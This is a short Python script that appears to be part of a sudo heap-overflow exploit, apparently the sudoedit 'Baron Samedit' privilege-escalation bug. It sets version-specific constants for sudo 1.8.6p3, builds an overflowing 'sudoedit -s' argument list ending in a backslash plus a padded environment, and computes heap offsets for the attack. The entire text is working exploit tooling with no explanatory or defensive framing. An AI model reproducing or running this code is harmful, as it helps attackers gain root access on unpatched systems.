import bs_mailer, sys
# sudo 1.8.6p3 -> sudo_ver=6 < 7
bs_mailer.has_tailq = False
bs_mailer.has_file = False
bs_mailer.MATCH_ALL = 279
bs_mailer.DEFAULTS_CMND = 268
bs_mailer.STACK_ADDR_PAGE = 0x7fffffdfefda
cmnd_size = bs_mailer.find_cmnd_size()
print("CMND_SIZE:", hex(cmnd_size), file=sys.stderr)
argv = [ b"sudoeedit", b"-A", b"-s", b"-C", b"1337", b"A"*(cmnd_size-0x10)+b"\\", None ]
env_prefix = [ b"A"*(7+0x4010+0x110) ]
offset = bs_mailer.find_defaults_chunk(argv, env_prefix)
print("OFFSET_DEFAULTS:", hex(offset), file=sys.stderr)
sys.stderr.flush()
